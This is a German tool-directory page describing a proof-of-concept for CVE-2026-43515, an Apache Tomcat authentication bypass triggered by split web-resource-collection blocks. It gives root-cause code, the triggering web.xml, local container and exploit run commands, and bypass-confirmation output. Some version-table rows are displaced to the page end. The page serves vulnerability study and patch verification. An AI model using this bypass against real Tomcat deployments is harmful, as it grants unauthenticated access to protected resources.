Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/covepseng/cve-2026-43515-poc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsAuthentifizierungLernen & Bildung
GitHubcovepseng/cve-2026-43515-poc

cve-2026-43515-poc

Ausnutzbarkeits-PoC für CVE-2026-43515 (Apache Tomcat Einschränkungsumgehung).

Repository anzeigen
vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-43515 — Apache Tomcat Sicherheitsbeschränkungsumgehung

Ausnutzbarkeitsurteil: bestätigt ausnutzbar. Eine POST-Anfrage an eine Ressource, die durch eine geteilte <web-resource-collection>-Konfiguration geschützt wird, umgeht die Authentifizierung vollständig. Die erforderliche web.xml-Struktur ist in Standardbereitstellungen unüblich — siehe Analyse für Details.


Inhaltsverzeichnis

  • Übersicht
  • Betroffene Versionen
  • Ursache
  • Analyse
  • Repository-Struktur
  • Voraussetzungen
  • Verwendung
  • Erwartete Ausgabe
  • Verweise
  • Haftungsausschluss

Übersicht

CVE-2026-43515 ist eine Schwachstelle in der Auswertungslogik für Sicherheitsbeschränkungen von Apache Tomcat. Wenn ein einzelnes <security-constraint> mehrere <web-resource-collection>-Blöcke definiert, die dasselbe URL-Erweiterungsmuster (z. B. *.html) teilen, aber jeweils eine andere HTTP-Methode deklarieren, erzwingt Tomcat die Beschränkung nur für die im ersten passenden Block deklarierte HTTP-Methode. Alle nachfolgenden Blöcke werden stillschweigend ignoriert.

Die Absicht des Administrators:

root@kitploit:~
<security-constraint>
  <web-resource-collection>
    <url-pattern>*.html</url-pattern>
    <http-method>GET</http-method>   <!-- collection[0] -->
  </web-resource-collection>
  <web-resource-collection>
    <url-pattern>*.html</url-pattern>
    <http-method>POST</http-method>  <!-- collection[1] — silently dropped -->
  </web-resource-collection>
  <auth-constraint>
    <role-name>admin</role-name>
  </auth-constraint>
</security-constraint>

Was Tomcat vor dem Fix tatsächlich erzwingt:

  • GET *.html → 401 — Beschränkung angewendet ✓
  • POST *.html → 200 — Beschränkung stillschweigend ignoriert ✗

Betroffene Versionen

Betroffener BereichBehoben in
7.0.0 – 7.0.1097.0.110
8.5.0 – 8.5.1008.5.101
9.0.0.M1 – 9.0.1179.0.118

Ursache

Der Fehler befindet sich in findSecurityConstraints(Request, Context) in org.apache.catalina.realm.RealmBase. Das matched-Flag und der pos-Index wurden außerhalb der Schleife über die Sammlungen deklariert:

root@kitploit:~
// RealmBase.java — vulnerable
boolean matched = false;
int pos = -1;
for (int j = 0; j < collection.length; j++) {
    // pattern matching sets matched = true and pos = j
    // on the FIRST matching collection ...
}

if (matched) {
    if (collection[pos].findMethod(method)) {  // pos frozen to 0
        results.add(constraints[i]);
    }
}

Sobald collection[0] dem Erweiterungsmuster *.html entsprach, wurde pos auf 0 eingefroren. Der Aufruf von findMethod("POST") erfolgte daher gegen collection[0] (das nur GET deklariert) und gab false zurück. Für die POST-Anfrage wurde keine Beschränkung zu results hinzugefügt, und AuthenticatorBase schlussfolgerte, dass die Anfrage keiner Beschränkung unterlag.

Der Fix (Commit 276087d) verschiebt matched in die Schleife und ersetzt collection[pos] durch collection[j], sodass jede Sammlung unabhängig ausgewertet wird:

root@kitploit:~
// RealmBase.java — patched
for (int j = 0; j < collection.length; j++) {
    boolean matched = false;  // ← moved inside the loop
    // pattern matching ...
    if (matched) {
        found = true;
        if (collection[j].findMethod(method)) {  // ← j, not pos
            if (results == null) {
                results = new ArrayList<>();
            }
            results.add(constraints[i]);
        }
    }
}

Analyse

Die Umgehung ist bestätigt und reproduzierbar. Das verbose Log von Tomcat macht den Mechanismus eindeutig:

root@kitploit:~
// GET — constraint correctly applied
AuthenticatorBase.invoke  Calling authenticate()
AuthenticatorBase.invoke  Failed authenticate() test  → 401

// POST — constraint silently dropped
AuthenticatorBase.invoke  Not subject to any constraint  → 200

Die Konfigurationsform ist entscheidend

Die Schwachstelle wird nur unter einem bestimmten web.xml-Muster ausgelöst: einem einzelnen <security-constraint> mit mehreren <web-resource-collection>-Blöcken, die dasselbe Erweiterungsmuster teilen, aber unterschiedliche HTTP-Methoden deklarieren.

Diese Konfiguration ist gemäß der Servlet-Spezifikation gültig, aber in der Praxis unüblich. Die meisten Bereitstellungen entweder:

  • Verzichten ganz auf <http-method> (schützt alle Methoden), oder
  • Verwenden separate <security-constraint>-Blöcke pro Methode

Bereitstellungen, die das geteilte Sammlungsmuster verwenden, um detaillierte zugriffsbezogene Methodensteuerung auf Erweiterungsmuster anzuwenden, sind gefährdet.


Repository-Struktur

root@kitploit:~
cve-2026-43515-poc/
├── Dockerfile                   # Tomcat 11.0.0-M1 (affected version)
├── tomcat-users.xml             # One valid user: validuser:s3cret! / role: admin
├── web.xml                      # Triggering config: split web-resource-collection
├── logging.properties           # FINE-level logging to observe constraint evaluation
└── exploit/
    ├── exploit.go               # PoC — Go

Voraussetzungen

ToolVersionHinweise
Podman≥ 4.0Docker funktioniert auch
Go≥ 1.22Zum lokalen Ausführen des Exploits

Keine externen Go-Abhängigkeiten.


Verwendung

1. Container erstellen und starten

root@kitploit:~
podman build -t tomcat-cve-2026-43515 .
podman run -d --name tomcat-vuln \
  -p 8080:8080 \
  -v ./logging.properties:/usr/local/tomcat/conf/logging.properties:Z \
  tomcat-cve-2026-43515

Warten Sie einige Sekunden und überprüfen Sie:

root@kitploit:~
curl -si http://localhost:8080/protected/secret.html | head -1
# Expected: HTTP/1.1 401

2. Exploit ausführen

root@kitploit:~
cd exploit
go run exploit.go \
  -target   http://localhost:8080 \
  -path     /protected/secret.html \
  -username validuser \
  -password s3cret!

Verfügbare Flags:

3. Bereinigung

root@kitploit:~
podman stop tomcat-vuln && podman rm tomcat-vuln

Erwartete Ausgabe

root@kitploit:~
═══════════════════════════════════════════════════
 CVE-2026-43515 — Apache Tomcat Constraint Bypass
═══════════════════════════════════════════════════
 Target : http://localhost:8080/protected/secret.html
───────────────────────────────────────────────────

Probe 1 — GET without credentials
  Expected: 401 (constraint applied to collection[0])
[1] GET    (no credentials) → HTTP 401  ← ✓ constraint enforced as expected

Probe 2 — POST without credentials  ← the exploit probe
  Expected on VULNERABLE Tomcat: 200 (constraint NOT enforced)
[2] POST   (no credentials) → HTTP 200  ← ✗ BYPASS CONFIRMED — constraint not enforced for POST

Probe 3 — GET with valid credentials (sanity check)
  Expected: 200 (authenticated access granted)
[3] GET    (with credentials) → HTTP 200  ← ✓ authenticated access granted

───────────────────────────────────────────────────
VERDICT: VULNERABLE

Verweise

RessourceLink
Fix-Commit — 11.0.xapache/tomcat@276087d
Vollständige Analyse — Blogbeitragreturn-zero.dev/posts/cve-2026-43515

Haftungsausschluss

Dieses Repository dient ausschließlich zu Bildungszwecken und zur lokalen Ausnutzbarkeitsanalyse. Alle Tests wurden in einer selbst gehosteten Containerumgebung durchgeführt. Führen Sie diesen PoC nicht gegen Systeme aus, die Sie nicht besitzen oder für die Sie keine ausdrückliche schriftliche Genehmigung zum Testen haben.

Tool herunterladen
10.1.0.M1 – 10.1.54
10.1.55
11.0.0.M1 – 11.0.2111.0.22
FlagStandardBeschreibung
-targethttp://localhost:8080Tomcat-Basis-URL
-path/protected/secret.htmlPfad der geschützten Ressource
-usernamevaliduserGültiger Benutzername für den Plausibilitätstest
-passwords3cret!Passwort für den Plausibilitätstest